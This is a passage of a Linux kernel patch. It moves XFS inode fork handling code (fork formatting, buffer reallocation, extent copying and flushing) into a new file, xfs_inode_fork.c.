xfs_inode *, bool); #define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) @@ -556,7 +425,6 @@ void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); #define xfs_inobp_check(mp, bp) #endif /* DEBUG */ -extern struct kmem_zone *xfs_ifork_zone; extern struct kmem_zone *xfs_inode_zone; extern const struct xfs_buf_ops xfs_inode_buf_ops; diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c new file mode 100644 index 0000000..8b8ba02 --- /dev/null +++ b/fs/xfs/xfs_inode_fork.c @@ -0,0 +1,1921 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_log.h" +#include "xfs_inum.h" +#include "xfs_trans.h" +#include "xfs_trans_priv.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_bmap_btree.h" +#include "xfs_alloc_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_attr_sf.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_buf_item.h" +#include "xfs_inode_item.h" +#include "xfs_btree.h" +#include "xfs_alloc.h" +#include "xfs_ialloc.h" +#include "xfs_bmap.h" +#include "xfs_error.h" +#include "xfs_utils.h" +#include "xfs_quota.h" +#include "xfs_filestream.h" +#include "xfs_vnodeops.h" +#include "xfs_cksum.h" +#include "xfs_trace.h" +#include "xfs_icache.h" + +kmem_zone_t *xfs_ifork_zone; + +STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); +STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); +STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); + +#ifdef DEBUG +/* + * Make sure that the extents in the given memory buffer + * are valid. + */ +void +xfs_validate_extents( + xfs_ifork_t *ifp, + int nrecs, + xfs_exntfmt_t fmt) +{ + xfs_bmbt_irec_t irec; + xfs_bmbt_rec_host_t rec; + int i; + + for (i = 0; i < nrecs; i++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + rec.l0 = get_unaligned(&ep->l0); + rec.l1 = get_unaligned(&ep->l1); + xfs_bmbt_get_all(&rec, &irec); + if (fmt == XFS_EXTFMT_NOSTATE) + ASSERT(irec.br_state == XFS_EXT_NORM); + } +} +#else /* DEBUG */ +#define xfs_validate_extents(ifp, nrecs, fmt) +#endif /* DEBUG */ + + +/* + * Move inode type and inode format specific information from the + * on-disk inode to the in-core inode. For fifos, devs, and sockets + * this means set if_rdev to the proper value. For files, directories, + * and symlinks this means to bring in the in-line data or extent + * pointers. For a file in B-tree format, only the root is immediately + * brought in-core. The rest will be in-lined in if_extents when it + * is first referenced (see xfs_iread_extents()). + */ +int +xfs_iformat_fork( + xfs_inode_t *ip, + xfs_dinode_t *dip) +{ + xfs_attr_shortform_t *atp; + int size; + int error = 0; + xfs_fsize_t di_size; + + if (unlikely(be32_to_cpu(dip->di_nextents) + + be16_to_cpu(dip->di_anextents) > + be64_to_cpu(dip->di_nblocks))) { + xfs_warn(ip->i_mount, + "corrupt dinode %Lu, extent total = %d, nblocks = %Lu.", + (unsigned long long)ip->i_ino, + (int)(be32_to_cpu(dip->di_nextents) + + be16_to_cpu(dip->di_anextents)), + (unsigned long long) + be64_to_cpu(dip->di_nblocks)); + XFS_CORRUPTION_ERROR("xfs_iformat(1)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely(dip->di_forkoff > ip->i_mount->m_sb.sb_inodesize)) { + xfs_warn(ip->i_mount, "corrupt dinode %Lu, forkoff = 0x%x.", + (unsigned long long)ip->i_ino, + dip->di_forkoff); + XFS_CORRUPTION_ERROR("xfs_iformat(2)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && + !ip->i_mount->m_rtdev_targp)) { + xfs_warn(ip->i_mount, + "corrupt dinode %Lu, has realtime flag set.", + ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat(realtime)", + XFS_ERRLEVEL_LOW, ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + switch (ip->i_d.di_mode & S_IFMT) { + case S_IFIFO: + case S_IFCHR: + case S_IFBLK: + case S_IFSOCK: + if (unlikely(dip->di_format != XFS_DINODE_FMT_DEV)) { + XFS_CORRUPTION_ERROR("xfs_iformat(3)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + ip->i_d.di_size = 0; + ip->i_df.if_u2.if_rdev = xfs_dinode_get_rdev(dip); + break; + + case S_IFREG: + case S_IFLNK: + case S_IFDIR: + switch (dip->di_format) { + case XFS_DINODE_FMT_LOCAL: + /* + * no local regular files yet + */ + if (unlikely(S_ISREG(be16_to_cpu(dip->di_mode)))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (local format for regular file).", + (unsigned long long) ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat(4)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + di_size = be64_to_cpu(dip->di_size); + if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad size %Ld for local inode).", + (unsigned long long) ip->i_ino, + (long long) di_size); + XFS_CORRUPTION_ERROR("xfs_iformat(5)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + size = (int)di_size; + error = xfs_iformat_local(ip, dip, XFS_DATA_FORK, size); + break; + case XFS_DINODE_FMT_EXTENTS: + error = xfs_iformat_extents(ip, dip, XFS_DATA_FORK); + break; + case XFS_DINODE_FMT_BTREE: + error = xfs_iformat_btree(ip, dip, XFS_DATA_FORK); + break; + default: + XFS_ERROR_REPORT("xfs_iformat(6)", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + break; + + default: + XFS_ERROR_REPORT("xfs_iformat(7)", XFS_ERRLEVEL_LOW, ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + if (error) { + return error; + } + if (!XFS_DFORK_Q(dip)) + return 0; + + ASSERT(ip->i_afp == NULL); + ip->i_afp = kmem_zone_zalloc(xfs_ifork_zone, KM_SLEEP | KM_NOFS); + + switch (dip->di_aformat) { + case XFS_DINODE_FMT_LOCAL: + atp = (xfs_attr_shortform_t *)XFS_DFORK_APTR(dip); + size = be16_to_cpu(atp->hdr.totsize); + + if (unlikely(size < sizeof(struct xfs_attr_sf_hdr))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad attr fork size %Ld).", + (unsigned long long) ip->i_ino, + (long long) size); + XFS_CORRUPTION_ERROR("xfs_iformat(8)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + error = xfs_iformat_local(ip, dip, XFS_ATTR_FORK, size); + break; + case XFS_DINODE_FMT_EXTENTS: + error = xfs_iformat_extents(ip, dip, XFS_ATTR_FORK); + break; + case XFS_DINODE_FMT_BTREE: + error = xfs_iformat_btree(ip, dip, XFS_ATTR_FORK); + break; + default: + error = XFS_ERROR(EFSCORRUPTED); + break; + } + if (error) { + kmem_zone_free(xfs_ifork_zone, ip->i_afp); + ip->i_afp = NULL; + xfs_idestroy_fork(ip, XFS_DATA_FORK); + } + return error; +} + +/* + * The file is in-lined in the on-disk inode. + * If it fits into if_inline_data, then copy + * it there, otherwise allocate a buffer for it + * and copy the data there. Either way, set + * if_data to point at the data. + * If we allocate a buffer for the data, make + * sure that its size is a multiple of 4 and + * record the real size in i_real_bytes. + */ +STATIC int +xfs_iformat_local( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork, + int size) +{ + xfs_ifork_t *ifp; + int real_size; + + /* + * If the size is unreasonable, then something + * is wrong and we just bail out rather than crash in + * kmem_alloc() or memcpy() below. + */ + if (unlikely(size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad size %d for local fork, size = %d).", + (unsigned long long) ip->i_ino, size, + XFS_DFORK_SIZE(dip, ip->i_mount, whichfork)); + XFS_CORRUPTION_ERROR("xfs_iformat_local", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + ifp = XFS_IFORK_PTR(ip, whichfork); + real_size = 0; + if (size == 0) + ifp->if_u1.if_data = NULL; + else if (size <= sizeof(ifp->if_u2.if_inline_data)) + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + else { + real_size = roundup(size, 4); + ifp->if_u1.if_data = kmem_alloc(real_size, KM_SLEEP | KM_NOFS); + } + ifp->if_bytes = size; + ifp->if_real_bytes = real_size; + if (size) + memcpy(ifp->if_u1.if_data, XFS_DFORK_PTR(dip, whichfork), size); + ifp->if_flags &= ~XFS_IFEXTENTS; + ifp->if_flags |= XFS_IFINLINE; + return 0; +} + +/* + * The file consists of a set of extents all + * of which fit into the on-disk inode. + * If there are few enough extents to fit into + * the if_inline_ext, then copy them there. + * Otherwise allocate a buffer for them and copy + * them into it. Either way, set if_extents + * to point at the extents. + */ +STATIC int +xfs_iformat_extents( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork) +{ + xfs_bmbt_rec_t *dp; + xfs_ifork_t *ifp; + int nex; + int size; + int i; + + ifp = XFS_IFORK_PTR(ip, whichfork); + nex = XFS_DFORK_NEXTENTS(dip, whichfork); + size = nex * (uint)sizeof(xfs_bmbt_rec_t); + + /* + * If the number of extents is unreasonable, then something + * is wrong and we just bail out rather than crash in + * kmem_alloc() or memcpy() below. + */ + if (unlikely(size < 0 || size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { + xfs_warn(ip->i_mount, "corrupt inode %Lu ((a)extents = %d).", + (unsigned long long) ip->i_ino, nex); + XFS_CORRUPTION_ERROR("xfs_iformat_extents(1)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + ifp->if_real_bytes = 0; + if (nex == 0) + ifp->if_u1.if_extents = NULL; + else if (nex <= XFS_INLINE_EXTS) + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + else + xfs_iext_add(ifp, 0, nex); + + ifp->if_bytes = size; + if (size) { + dp = (xfs_bmbt_rec_t *) XFS_DFORK_PTR(dip, whichfork); + xfs_validate_extents(ifp, nex, XFS_EXTFMT_INODE(ip)); + for (i = 0; i < nex; i++, dp++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + ep->l0 = get_unaligned_be64(&dp->l0); + ep->l1 = get_unaligned_be64(&dp->l1); + } + XFS_BMAP_TRACE_EXLIST(ip, nex, whichfork); + if (whichfork != XFS_DATA_FORK || + XFS_EXTFMT_INODE(ip) == XFS_EXTFMT_NOSTATE) + if (unlikely(xfs_check_nostate_extents( + ifp, 0, nex))) { + XFS_ERROR_REPORT("xfs_iformat_extents(2)", + XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + } + ifp->if_flags |= XFS_IFEXTENTS; + return 0; +} + +/* + * The file has too many extents to fit into + * the inode, so they are in B-tree format. + * Allocate a buffer for the root of the B-tree + * and copy the root into it. The i_extents + * field will remain NULL until all of the + * extents are read in (when they are needed). + */ +STATIC int +xfs_iformat_btree( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_bmdr_block_t *dfp; + xfs_ifork_t *ifp; + /* REFERENCED */ + int nrecs; + int size; + + ifp = XFS_IFORK_PTR(ip, whichfork); + dfp = (xfs_bmdr_block_t *)XFS_DFORK_PTR(dip, whichfork); + size = XFS_BMAP_BROOT_SPACE(mp, dfp); + nrecs = be16_to_cpu(dfp->bb_numrecs); + + /* + * blow out if -- fork has less extents than can fit in + * fork (fork shouldn't be a btree format), root btree + * block has more records than can fit into the fork, + * or the number of extents is greater than the number of + * blocks. + */ + if (unlikely(XFS_IFORK_NEXTENTS(ip, whichfork) <= + XFS_IFORK_MAXEXT(ip, whichfork) || + XFS_BMDR_SPACE_CALC(nrecs) > + XFS_DFORK_SIZE(dip, mp, whichfork) || + XFS_IFORK_NEXTENTS(ip, whichfork) > ip->i_d.di_nblocks)) { + xfs_warn(mp, "corrupt inode %Lu (btree).", + (unsigned long long) ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat_btree", XFS_ERRLEVEL_LOW, + mp, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + ifp->if_broot_bytes = size; + ifp->if_broot = kmem_alloc(size, KM_SLEEP | KM_NOFS); + ASSERT(ifp->if_broot != NULL); + /* + * Copy and convert from the on-disk structure + * to the in-memory structure. + */ + xfs_bmdr_to_bmbt(ip, dfp, XFS_DFORK_SIZE(dip, ip->i_mount, whichfork), + ifp->if_broot, size); + ifp->if_flags &= ~XFS_IFEXTENTS; + ifp->if_flags |= XFS_IFBROOT; + + return 0; +} + +/* + * Read in extents from a btree-format inode. + * Allocate and fill in if_extents. Real work is done in xfs_bmap.c. + */ +int +xfs_iread_extents( + xfs_trans_t *tp, + xfs_inode_t *ip, + int whichfork) +{ + int error; + xfs_ifork_t *ifp; + xfs_extnum_t nextents; + + if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { + XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + nextents = XFS_IFORK_NEXTENTS(ip, whichfork); + ifp = XFS_IFORK_PTR(ip, whichfork); + + /* + * We know that the size is valid (it's checked in iformat_btree) + */ + ifp->if_bytes = ifp->if_real_bytes = 0; + ifp->if_flags |= XFS_IFEXTENTS; + xfs_iext_add(ifp, 0, nextents); + error = xfs_bmap_read_extents(tp, ip, whichfork); + if (error) { + xfs_iext_destroy(ifp); + ifp->if_flags &= ~XFS_IFEXTENTS; + return error; + } + xfs_validate_extents(ifp, nextents, XFS_EXTFMT_INODE(ip)); + return 0; +} +/* + * Reallocate the space for if_broot based on the number of records + * being added or deleted as indicated in rec_diff. Move the records + * and pointers in if_broot to fit the new size. When shrinking this + * will eliminate holes between the records and pointers created by + * the caller. When growing this will create holes to be filled in + * by the caller. + * + * The caller must not request to add more records than would fit in + * the on-disk inode root. If the if_broot is currently NULL, then + * if we adding records one will be allocated. The caller must also + * not request that the number of records go below zero, although + * it can go to zero. + * + * ip -- the inode whose if_broot area is changing + * ext_diff -- the change in the number of records, positive or negative, + * requested for the if_broot array. + */ +void +xfs_iroot_realloc( + xfs_inode_t *ip, + int rec_diff, + int whichfork) +{ + struct xfs_mount *mp = ip->i_mount; + int cur_max; + xfs_ifork_t *ifp; + struct xfs_btree_block *new_broot; + int new_max; + size_t new_size; + char *np; + char *op; + + /* + * Handle the degenerate case quietly. + */ + if (rec_diff == 0) { + return; + } + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (rec_diff > 0) { + /* + * If there wasn't any memory allocated before, just + * allocate it now and get out. + */ + if (ifp->if_broot_bytes == 0) { + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, rec_diff); + ifp->if_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); + ifp->if_broot_bytes = (int)new_size; + return; + } + + /* + * If there is already an existing if_broot, then we need + * to realloc() it and shift the pointers to their new + * location. The records don't change location because + * they are kept butted up against the btree block header. + */ + cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); + new_max = cur_max + rec_diff; + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); + ifp->if_broot = kmem_realloc(ifp->if_broot, new_size, + XFS_BMAP_BROOT_SPACE_CALC(mp, cur_max), + KM_SLEEP | KM_NOFS); + op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + ifp->if_broot_bytes); + np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + (int)new_size); + ifp->if_broot_bytes = (int)new_size; + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); + return; + } + + /* + * rec_diff is less than 0. In this case, we are shrinking the + * if_broot buffer. It must already exist. If we go to zero + * records, just get rid of the root and clear the status bit. + */ + ASSERT((ifp->if_broot != NULL) && (ifp->if_broot_bytes > 0)); + cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); + new_max = cur_max + rec_diff; + ASSERT(new_max >= 0); + if (new_max > 0) + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); + else + new_size = 0; + if (new_size > 0) { + new_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); + /* + * First copy over the btree block header. + */ + memcpy(new_broot, ifp->if_broot, + XFS_BMBT_BLOCK_LEN(ip->i_mount)); + } else { + new_broot = NULL; + ifp->if_flags &= ~XFS_IFBROOT; + } + + /* + * Only copy the records and pointers if there are any. + */ + if (new_max > 0) { + /* + * First copy the records. + */ + op = (char *)XFS_BMBT_REC_ADDR(mp, ifp->if_broot, 1); + np = (char *)XFS_BMBT_REC_ADDR(mp, new_broot, 1); + memcpy(np, op, new_max * (uint)sizeof(xfs_bmbt_rec_t)); + + /* + * Then copy the pointers. + */ + op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + ifp->if_broot_bytes); + np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, + (int)new_size); + memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); + } + kmem_free(ifp->if_broot); + ifp->if_broot = new_broot; + ifp->if_broot_bytes = (int)new_size; + if (ifp->if_broot) + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + return; +} + + +/* + * This is called when the amount of space needed for if_data + * is increased or decreased. The change in size is indicated by + * the number of bytes that need to be added or deleted in the + * byte_diff parameter. + * + * If the amount of space needed has decreased below the size of the + * inline buffer, then switch to using the inline buffer. Otherwise, + * use kmem_realloc() or kmem_alloc() to adjust the size of the buffer + * to what is needed. + * + * ip -- the inode whose if_data area is changing + * byte_diff -- the change in the number of bytes, positive or negative, + * requested for the if_data array. + */ +void +xfs_idata_realloc( + xfs_inode_t *ip, + int byte_diff, + int whichfork) +{ + xfs_ifork_t *ifp; + int new_size; + int real_size; + + if (byte_diff == 0) { + return; + } + + ifp = XFS_IFORK_PTR(ip, whichfork); + new_size = (int)ifp->if_bytes + byte_diff; + ASSERT(new_size >= 0); + + if (new_size == 0) { + if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + kmem_free(ifp->if_u1.if_data); + } + ifp->if_u1.if_data = NULL; + real_size = 0; + } else if (new_size <= sizeof(ifp->if_u2.if_inline_data)) { + /* + * If the valid extents/data can fit in if_inline_ext/data, + * copy them from the malloc'd vector and free it. + */ + if (ifp->if_u1.if_data == NULL) { + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + ASSERT(ifp->if_real_bytes != 0); + memcpy(ifp->if_u2.if_inline_data, ifp->if_u1.if_data, + new_size); + kmem_free(ifp->if_u1.if_data); + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + } + real_size = 0; + } else { + /* + * Stuck with malloc/realloc. + * For inline data, the underlying buffer must be + * a multiple of 4 bytes in size so that it can be + * logged and stay on word boundaries. We enforce + * that here. + */ + real_size = roundup(new_size, 4); + if (ifp->if_u1.if_data == NULL) { + ASSERT(ifp->if_real_bytes == 0); + ifp->if_u1.if_data = kmem_alloc(real_size, + KM_SLEEP | KM_NOFS); + } else if (ifp->if_u1.if_data != ifp->if_u2.if_inline_data) { + /* + * Only do the realloc if the underlying size + * is really changing. + */ + if (ifp->if_real_bytes != real_size) { + ifp->if_u1.if_data = + kmem_realloc(ifp->if_u1.if_data, + real_size, + ifp->if_real_bytes, + KM_SLEEP | KM_NOFS); + } + } else { + ASSERT(ifp->if_real_bytes == 0); + ifp->if_u1.if_data = kmem_alloc(real_size, + KM_SLEEP | KM_NOFS); + memcpy(ifp->if_u1.if_data, ifp->if_u2.if_inline_data, + ifp->if_bytes); + } + } + ifp->if_real_bytes = real_size; + ifp->if_bytes = new_size; + ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); +} + +void +xfs_idestroy_fork( + xfs_inode_t *ip, + int whichfork) +{ + xfs_ifork_t *ifp; + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (ifp->if_broot != NULL) { + kmem_free(ifp->if_broot); + ifp->if_broot = NULL; + } + + /* + * If the format is local, then we can't have an extents + * array so just look for an inline data array. If we're + * not local then we may or may not have an extents list, + * so check and free it up if we do. + */ + if (XFS_IFORK_FORMAT(ip, whichfork) == XFS_DINODE_FMT_LOCAL) { + if ((ifp->if_u1.if_data != ifp->if_u2.if_inline_data) && + (ifp->if_u1.if_data != NULL)) { + ASSERT(ifp->if_real_bytes != 0); + kmem_free(ifp->if_u1.if_data); + ifp->if_u1.if_data = NULL; + ifp->if_real_bytes = 0; + } + } else if ((ifp->if_flags & XFS_IFEXTENTS) && + ((ifp->if_flags & XFS_IFEXTIREC) || + ((ifp->if_u1.if_extents != NULL) && + (ifp->if_u1.if_extents != ifp->if_u2.if_inline_ext)))) { + ASSERT(ifp->if_real_bytes != 0); + xfs_iext_destroy(ifp); + } + ASSERT(ifp->if_u1.if_extents == NULL || + ifp->if_u1.if_extents == ifp->if_u2.if_inline_ext); + ASSERT(ifp->if_real_bytes == 0); + if (whichfork == XFS_ATTR_FORK) { + kmem_zone_free(xfs_ifork_zone, ip->i_afp); + ip->i_afp = NULL; + } +} + +/* + * xfs_iextents_copy() + * + * This is called to copy the REAL extents (as opposed to the delayed + * allocation extents) from the inode into the given buffer. It + * returns the number of bytes copied into the buffer. + * + * If there are no delayed allocation extents, then we can just + * memcpy() the extents into the buffer. Otherwise, we need to + * examine each extent in turn and skip those which are delayed. + */ +int +xfs_iextents_copy( + xfs_inode_t *ip, + xfs_bmbt_rec_t *dp, + int whichfork) +{ + int copied; + int i; + xfs_ifork_t *ifp; + int nrecs; + xfs_fsblock_t start_block; + + ifp = XFS_IFORK_PTR(ip, whichfork); + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL|XFS_ILOCK_SHARED)); + ASSERT(ifp->if_bytes > 0); + + nrecs = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + XFS_BMAP_TRACE_EXLIST(ip, nrecs, whichfork); + ASSERT(nrecs > 0); + + /* + * There are some delayed allocation extents in the + * inode, so copy the extents one at a time and skip + * the delayed ones. There must be at least one + * non-delayed extent. + */ + copied = 0; + for (i = 0; i < nrecs; i++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + start_block = xfs_bmbt_get_startblock(ep); + if (isnullstartblock(start_block)) { + /* + * It's a delayed allocation extent, so skip it. + */ + continue; + } + + /* Translate to on disk format */ + put_unaligned(cpu_to_be64(ep->l0), &dp->l0); + put_unaligned(cpu_to_be64(ep->l1), &dp->l1); + dp++; + copied++; + } + ASSERT(copied != 0); + xfs_validate_extents(ifp, copied, XFS_EXTFMT_INODE(ip)); + + return (copied * (uint)sizeof(xfs_bmbt_rec_t)); +} + +/* + * Each of the following cases stores data into the same region + * of the on-disk inode, so only one of them can be valid at + * any given time. While it is possible to have conflicting formats + * and log flags, e.g. having XFS_ILOG_?DATA set when the fork is + * in EXTENTS format, this can only happen when the fork has + * changed formats after being modified but before being flushed. + * In these cases, the format always takes precedence, because the + * format indicates the current state of the fork. + */ +void +xfs_iflush_fork( + xfs_inode_t *ip, + xfs_dinode_t *dip, + xfs_inode_log_item_t *iip, + int whichfork, + xfs_buf_t *bp) +{ + char *cp; + xfs_ifork_t *ifp; + xfs_mount_t *mp; + static const short brootflag[2] = + { XFS_ILOG_DBROOT, XFS_ILOG_ABROOT }; + static const short dataflag[2] = + { XFS_ILOG_DDATA, XFS_ILOG_ADATA }; + static const short extflag[2] = + { XFS_ILOG_DEXT, XFS_ILOG_AEXT }; + + if (!iip) + return; + ifp = XFS_IFORK_PTR(ip, whichfork); + /* + * This can happen if we gave up in iformat in an error path, + * for the attribute fork. + */ + if (!ifp) { + ASSERT(whichfork == XFS_ATTR_FORK); + return; + } + cp = XFS_DFORK_PTR(dip, whichfork); + mp = ip->i_mount; + switch (XFS_IFORK_FORMAT(ip, whichfork)) { + case XFS_DINODE_FMT_LOCAL: + if ((iip->ili_fields & dataflag[whichfork]) && + (ifp->if_bytes > 0)) { + ASSERT(ifp->if_u1.if_data != NULL); + ASSERT(ifp->if_bytes <= XFS_IFORK_SIZE(ip, whichfork)); + memcpy(cp, ifp->if_u1.if_data, ifp->if_bytes); + } + break; + + case XFS_DINODE_FMT_EXTENTS: + ASSERT((ifp->if_flags & XFS_IFEXTENTS) || + !(iip->ili_fields & extflag[whichfork])); + if ((iip->ili_fields & extflag[whichfork]) && + (ifp->if_bytes > 0)) { + ASSERT(xfs_iext_get_ext(ifp, 0)); + ASSERT(XFS_IFORK_NEXTENTS(ip, whichfork) > 0); + (void)xfs_iextents_copy(ip, (xfs_bmbt_rec_t *)cp, + whichfork); + } + break; + + case XFS_DINODE_FMT_BTREE: + if ((iip->ili_fields & brootflag[whichfork]) && + (ifp->if_broot_bytes > 0)) { + ASSERT(ifp->if_broot != NULL); + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + xfs_bmbt_to_bmdr(mp, ifp->if_broot, ifp->if_broot_bytes, + (xfs_bmdr_block_t *)cp, + XFS_DFORK_SIZE(dip, mp, whichfork)); + } + break; + + case XFS_DINODE_FMT_DEV: + if (iip->ili_fields & XFS_ILOG_DEV) { + ASSERT(whichfork == XFS_DATA_FORK); + xfs_dinode_put_rdev(dip, ip->i_df.if_u2.if_rdev); + } + break; + + case XFS_DINODE_FMT_UUID: + if (iip->ili_fields & XFS_ILOG_UUID) { + ASSERT(whichfork == XFS_DATA_FORK); + memcpy(XFS_DFORK_DPTR(dip), + &ip->i_df.if_u2.if_uuid, + sizeof(uuid_t)); + } + break; + + default: + ASSERT(0); + break; + } +} + +/* + * Return a pointer to the extent record at file index idx. + */ +xfs_bmbt_rec_host_t * +xfs_iext_get_ext( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx) /* index of target extent */ +{ + ASSERT(idx >= 0); + ASSERT(idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); + + if ((ifp->if_flags & XFS_IFEXTIREC) && (idx == 0)) { + return ifp->if_u1.if_ext_irec->er_extbuf; + } else if (ifp->if_flags & XFS_IFEXTIREC) { + xfs_ext_irec_t *erp; /* irec pointer */ + int erp_idx = 0; /* irec index */ + xfs_extnum_t page_idx = idx; /* ext index in target list */ + + erp = xfs_iext_idx_to_irec(ifp, &page_idx, &erp_idx, 0); + return &erp->er_extbuf[page_idx]; + } else if (ifp->if_bytes) { + return &ifp->if_u1.if_extents[idx]; + } else { + return NULL; + } +} + +/* + * Insert new item(s) into the extent records for incore inode + * fork 'ifp'. 'count' new items are inserted at index 'idx'. + */ +void +xfs_iext_insert( + xfs_inode_t *ip, /* incore inode pointer */ + xfs_extnum_t idx, /* starting index of new items */ + xfs_extnum_t count, /* number of inserted items */ + xfs_bmbt_irec_t *new, /* items to insert */ + int state) /* type of extent conversion */ +{ + xfs_ifork_t *ifp = (state & BMAP_ATTRFORK) ? ip->i_afp : &ip->i_df; + xfs_extnum_t i; /* extent record index */ + + trace_xfs_iext_insert(ip, idx, new, state, _RET_IP_); + + ASSERT(ifp->if_flags & XFS_IFEXTENTS); + xfs_iext_add(ifp, idx, count); + for (i = idx; i < idx + count; i++, new++) + xfs_bmbt_set_all(xfs_iext_get_ext(ifp, i), new); +} + +/* + * This is called when the amount of space required for incore file + * extents needs to be increased. The ext_diff parameter stores the + * number of new extents being added and the idx parameter contains + * the extent index where the new extents will be added. If the new + * extents are being appended, then we just need to (re)allocate and + * initialize the space. Otherwise, if the new extents are being + * inserted into the middle of the existing entries, a bit more work + * is required to make room for the new extents to be inserted. The + * caller is responsible for filling in the new extent entries upon + * return. + */ +void +xfs_iext_add( + xfs_ifork_t *ifp, /* inode fork pointer */ + xfs_extnum_t idx, /* index to begin adding exts */ + int ext_diff) /* number of extents to add */ +{ + int byte_diff; /* new bytes being added */ + int new_size; /* size of extents after adding */ + xfs_extnum_t nextents; /* number of extents in file */ + + nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); + ASSERT((idx >= 0) && (idx <= nextents)); + byte_diff = ext_diff * sizeof(xfs_bmbt_rec_t); + new_size = ifp->if_bytes + byte_diff; + /* + * If the new 